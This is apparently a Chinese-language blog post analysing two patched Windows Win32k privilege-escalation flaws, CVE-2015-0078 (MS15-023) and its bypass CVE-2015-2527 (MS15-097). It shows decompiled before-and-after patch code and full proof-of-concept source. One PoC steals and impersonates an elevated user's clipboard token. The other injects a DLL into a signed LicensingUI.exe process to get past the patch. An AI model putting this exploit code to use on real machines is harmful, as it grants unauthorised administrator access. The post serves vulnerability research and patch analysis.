• 【微软漏洞分析】MS15-023 Win32k 特权提升漏洞 - CVE-2015-0078 + 绕过(CVE-2015-2527 in MS15-097)


    MS15-023

    CVE-2015-0078 微软漏洞描述

    Windows 内核模式驱动程序中存在一个特权提升漏洞,该漏洞是由于内核模式驱动程序未能正确验证调用线程的令牌而导致的。

    成功利用此漏洞的经过身份验证的攻击者可以获得管理员凭据并使用它们来提升权限。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全管理权限的新帐户。要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行旨在提高权限的特制应用程序。此更新通过更正内核模式驱动程序验证调用线程令牌的方式来解决漏洞。

    漏洞作者分析

    NtUserGetClipboardAccessToken win32k 系统调用将最后一个用户的访问令牌公开给低权限用户。它还可用于打开通常 OpenThreadToken 不应该做的匿名模拟线程令牌。
    NtUserGetClipboardAccessToken 方法打开一个令牌对象,该对象在 NtUserCloseClipboard 系统调用期间捕获,假设调用者已将某些内容写入剪贴板。

    补丁分析

    我们这里以windows 7的x86的补丁分析,补丁解开之后的目录列表如下:

    • ms15-023\x86\win32k_6.3.9600.17694
      • win32k.sys

    win32k.sys

    主要包括一个更新函数:

    1. NtUserGetClipboardAccessToken

    NtUserGetClipboardAccessToken

    更新前

    BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
    {
      int v2; // edx
      BOOL v3; // ebx
      void *v4; // ecx
      void **v5; // ecx
      void *Handle; // [esp+18h] [ebp-1Ch] BYREF
      CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]
      Handle = 0;
      EnterCrit(1);
      if ( sub_BF190(
             *(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 456),
             *(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 460),
             0x2000,
             -1)
        && (v4 = *(void **)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)v2 + 216) + 12) + 68)) != 0 )
      {
        v3 = ObOpenObjectByPointer(v4, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
        ms_exc.registration.TryLevel = 0;
        v5 = (void **)a1;
        if ( (unsigned int)a1 >= W32UserProbeAddress )
          v5 = (void **)W32UserProbeAddress;
        *v5 = Handle;
        ms_exc.registration.TryLevel = -2;
      }
      else
      {
        v3 = 0;
        sub_66C6A(5);
      }
      UserSessionSwitchLeaveCrit();
      return v3;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    更新后

    BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
    {
      int v2; // eax
      BOOL v3; // ebx
      void *v4; // ecx
      void **v5; // ecx
      void *Handle; // [esp+18h] [ebp-1Ch] BYREF
      CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]
      Handle = 0;
      EnterCrit();
      v2 = PsGetCurrentProcessWin32Process();
      if ( (IsImmersiveBroker(v2)
         || CheckAccessForIntegrityLevel(
              *(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 456),
              *(_DWORD *)(*(_DWORD *)(gptiCurrent + 200) + 460),
              0x2000,
              -1))
        && (v4 = *(void **)(*(_DWORD *)(*(_DWORD *)(gptiCurrent + 216) + 12) + 68)) != 0 )
      {
        v3 = ObOpenObjectByPointer(v4, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
        ms_exc.registration.TryLevel = 0;
        v5 = (void **)a1;
        if ( (unsigned int)a1 >= W32UserProbeAddress )
          v5 = (void **)W32UserProbeAddress;
        *v5 = Handle;
        ms_exc.registration.TryLevel = -2;
      }
      else
      {
        v3 = 0;
        sub_511AC(5);
      }
      UserSessionSwitchLeaveCrit();
      return v3;
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    重点分析

    增加了两个校验函数IsImmersiveBroker和CheckAccessForIntegrityLevel,只要符合其中之一就可以通过。

    PoC分析

    执行过程为:

    1. 获取GetClipboardAccessToken的dll调用地址
    2. GetProcessToken获取当前进程句柄
    3. GetTokenIntegrityLevel获取当前进程完整性级别(IL)
    4. GetAdminSid获取管理员SID
    5. 调用GetClipboardAccessToken获取令牌Token
    6. DuplicateTokenEx复制模拟令牌Token
    7. CheckTokenMembership检查令牌是否管理员
    8. SetTokenIL设置令牌的IL为当前进程IL
    9. ImpersonateLoggedOnUser用复制的令牌进行模拟登录
    10. CreateFile在系统目录创建文件

    可以看到通过PoC的执行,可以验证复制出来的令牌已经具有管理员权限。

    具体代码参考下面:

    int _tmain(int argc, _TCHAR* argv[])
    {
    	_GetClipboardAccessToken f_GetClipboardAccessToken = (_GetClipboardAccessToken)GetProcAddress(LoadLibrary(L"user32.dll"), "GetClipboardAccessToken");	
    	HANDLE hProcess = GetProcessToken();
    	DWORD curr_il = GetTokenIntegrityLevel(hProcess);
    	
    	if (f_GetClipboardAccessToken)
    	{
    		typed_buffer_ptr<SID> adminSid;
    		
    		if (!GetAdminSid(adminSid))
    		{
    			printf("Error getting admin sid\n");
    		}
    
    		printf("Perform a copy in an elevated process window\n");
    
    		while (true)
    		{
    			HANDLE hToken;
    
    			if (f_GetClipboardAccessToken(&hToken, MAXIMUM_ALLOWED))
    			{			
    				HANDLE hImpToken;
    					
    				if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenImpersonation, &hImpToken))
    				{										
    					BOOL isMember;
    					if (CheckTokenMembership(hImpToken, adminSid, &isMember) && isMember)
    					{
    						if (SetTokenIL(hImpToken, curr_il))
    						{
    							if (ImpersonateLoggedOnUser(hImpToken))
    							{
    								HANDLE hFile = CreateFile(L"c:\\windows\\test.txt", GENERIC_READ | GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, 0);
    								if (hFile != INVALID_HANDLE_VALUE)
    								{
    									printf("Opened file: %p\n", hFile);
    									CloseHandle(hFile);
    									break;
    								}
    								else
    								{
    									printf("Error: %d\n", GetLastError());
    								}
    							}
    							else
    							{
    								printf("Error impersonating %d\n", GetLastError());
    							}
    						}
    						else
    						{
    							printf("Error setting IL\n");
    						}						
    					}
    
    					CloseHandle(hImpToken);
    				}
    				else
    				{
    					printf("Error duplicating: %d\n", GetLastError());
    				}				
    
    				CloseHandle(hToken);
    			}			
    			
    			Sleep(1000);
    		}
    	}
    	else
    	{
    		printf("GetClipboardAccessToken doesn't exist, not Windows 8.1?\n");
    	}
    
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77

    MS15-097

    CVE-2015-2527 微软漏洞描述

    当 Windows 内核模式驱动程序 (Win32k.sys) 在某些进程初始化场景中无法正确验证和强制执行完整性级别时,存在特权提升漏洞。成功利用该漏洞的攻击者可以在内核模式下运行任意代码。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。

    要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行特制的应用程序,该应用程序可以利用该漏洞并控制受影响的系统。

    漏洞作者分析

    据说这在 MS15-023 中被修复为 CVE-2015-0078,以防止运行在中等 IL 以下的任何进程访问令牌。检查大致是:

    if(IsImmersiveBroker() || CheckAccessForIntegrityLevelEx(0x2000)) {
    ObOpenObjectByPointer(WinStationObject->ClipboardAccessToken, Access, TokenHandle);
    }

    这是可以绕过的,因为 IsImmersiveBroker 级别很容易获得。似乎 Win32k 在首次初始化进程并将其转换为 GUI 线程时设置了适当的 Win32Process 标志。如果可执行文件由 Microsoft 证书签名并且有一个特别命名的“.imrsiv”部分,则将设置该标志,但是无论进程的 IL 是什么,都会执行此操作。因此,您可以使用预签名的可执行文件之一创建进程,例如 explorer.exe、RuntimeBroker.exe 或 LicensingUI.exe,然后将 DLL 注入进程。这允许您绕过检查并捕获令牌。

    补丁分析

    更新函数和之前一致,更新后代码如下:

    BOOL __stdcall NtUserGetClipboardAccessToken(int a1, ACCESS_MASK DesiredAccess)
    {
      BOOL v2; // ebx
      void *v3; // ecx
      HDC v4; // ecx
      void *Handle; // [esp+10h] [ebp-20h] BYREF
      char v7; // [esp+17h] [ebp-19h] BYREF
      CPPEH_RECORD ms_exc; // [esp+18h] [ebp-18h]
    
      Handle = 0;
      EnterLeaveCrit::EnterLeaveCrit((EnterLeaveCrit *)&v7);
      
      
      if ( CheckAccessForIntegrityLevel(
             *(_DWORD *)(*(_DWORD *)(gptiCurrent + 196) + 456),
             *(_DWORD *)(*(_DWORD *)(gptiCurrent + 196) + 460),
             0x2000,
             -1)
        && (v3 = *(void **)(*(_DWORD *)(*(_DWORD *)(gptiCurrent + 212) + 12) + 68)) != 0 )
      {
        v2 = ObOpenObjectByPointer(v3, 0, 0, DesiredAccess, (POBJECT_TYPE)SeTokenObjectType, 1, &Handle) >= 0;
        ms_exc.registration.TryLevel = 0;
        v4 = (HDC)a1;
        if ( a1 >= (unsigned int)W32UserProbeAddress )
          v4 = W32UserProbeAddress;
        *(_DWORD *)v4 = Handle;
        ms_exc.registration.TryLevel = -2;
      }
      else
      {
        v2 = 0;
        UserSetLastError(5);
      }
      UserSessionSwitchLeaveCrit();
      return v2;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    可以注意到只是删除了校验函数IsImmersiveBroker的调用,将之前的两种条件改为一种。

    我们看下校验函数IsImmersiveBroker的代码:

    BOOL __usercall IsImmersiveBroker@<eax>(int a1@<ecx>, struct _EPROCESS *a2@<esi>)
    {
      PRKPROCESS v2; // esi
      BOOL result; // eax
    
      if ( gfIgnoreMoshHardening )
        return (*(_BYTE *)(a1 + 424) & 0x30) != 16;
      if ( (*(_DWORD *)(a1 + 424) & 0x30) == 32 )
        return 1;
      v2 = *(PRKPROCESS *)a1;
      if ( _IsProcessDwm(a2) )
        result = 1;
      else
        result = v2 == gpepCSRSS;
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    这个函数主要的校验是Microsoft 证书签名和判断是否是dwm.exe和csrss.exe。

    PoC分析

    主函数的作用是创建LicensingUI.exe进程,并将Dll inject到LicensingUI.exe进程。

    int _tmain(int argc, _TCHAR* argv[])
    {	
    	HANDLE hToken;
    	OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
    
    	if (GetTokenIntegrityLevel(hToken) >= SECURITY_MANDATORY_MEDIUM_RID)
    	{
    		printf("ERROR: You should run this as low integrity to demonstrate the issue\n");
    		return 1;
    	}
    
    	std::wstring path = GetExecutableDir();
    	path += L"\\injected.dll";
    
    	STARTUPINFO startInfo = { 0 };
    	PROCESS_INFORMATION procInfo = { 0 };
    	WCHAR cmdline[] = L"LicensingUI.exe";
    
    	startInfo.cb = sizeof(startInfo);
    
    	if (CreateProcess(nullptr, cmdline, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo))
    	{
    		InjectDll(procInfo.hProcess, procInfo.hThread, path);		
    		ResumeThread(procInfo.hThread);				
    	}	
    	else
    	{
    		printf("Error creating process %d\n", GetLastError());
    	}
    
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    继续看inject Dll的代码,执行过程为:

    1. 获取GetClipboardAccessToken的dll调用地址
    2. GetAdminSid获取管理员SID
    3. 调用GetClipboardAccessToken获取令牌Token
    4. GetTokenIntegrityLevel查询令牌的完整性级别
    DWORD CALLBACK DoExploit(LPVOID arg)
    {
    	_GetClipboardAccessToken f_GetClipboardAccessToken = (_GetClipboardAccessToken)GetProcAddress(LoadLibrary(L"user32.dll"), "GetClipboardAccessToken");
    	
    	if (f_GetClipboardAccessToken)
    	{
    		typed_buffer_ptr<SID> adminSid;
    
    		if (!GetAdminSid(adminSid))
    		{
    			DebugPrintf("Error getting admin sid\n");
    		}
    
    		DebugPrintf("Perform a copy in an elevated process window\n");
    
    		while (true)
    		{
    			HANDLE hToken;
    
    			if (f_GetClipboardAccessToken(&hToken, MAXIMUM_ALLOWED))
    			{		
    				DWORD il = GetTokenIntegrityLevel(hToken);
    				if (il >= SECURITY_MANDATORY_MEDIUM_RID)
    				{
    					DebugPrintf("Captured token %p with IL of %08X\n", hToken, il);
    					MessageBox(nullptr, L"Captured a User Token", L"Message", MB_ICONEXCLAMATION);
    					break;
    				}									
    			
    				CloseHandle(hToken);
    			}
    
    			Sleep(1000);
    		}
    	}
    	else
    	{
    		DebugPrintf("GetClipboardAccessToken doesn't exist, not Windows 8.1?\n");
    	}	
    
    	//FreeLibraryAndExitThread((HMODULE)arg, 0);
    	ExitProcess(1);
    }
    
    
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
    					 )
    {
    	DebugPrintf("In DllMain\n");
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		CreateThread(nullptr, 0, DoExploit, hModule, 0, 0);
    		break;
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64

    参考

    https://bugs.chromium.org/p/project-zero/issues/detail?id=219
    https://bugs.chromium.org/p/project-zero/issues/detail?id=461
    https://learn.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-023
    https://learn.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-097

  • 相关阅读:
    Python装饰器使用
    嵌入式分享合集17
    01-Redis核心数据结构与高性能原理
    Springboot+基于微信小程序的商城 毕业设计-附源码191145
    【重拾Java系列】—— 集合之Collection
    SAP SALV14 增强SALV使SALV支持列级别、行级别、单元格级别的编辑模式切换
    【医学影像数据处理】 Dicom 文件格式处理汇总
    kubernetes介绍和安装(1.25版本)
    webpack5 optimization.splitChunks多入口提取重复代码为公共模块
    java计算机毕业设计BS用户小票系统源码+数据库+系统+lw文档
  • 原文地址:https://blog.csdn.net/fastergohome/article/details/127766836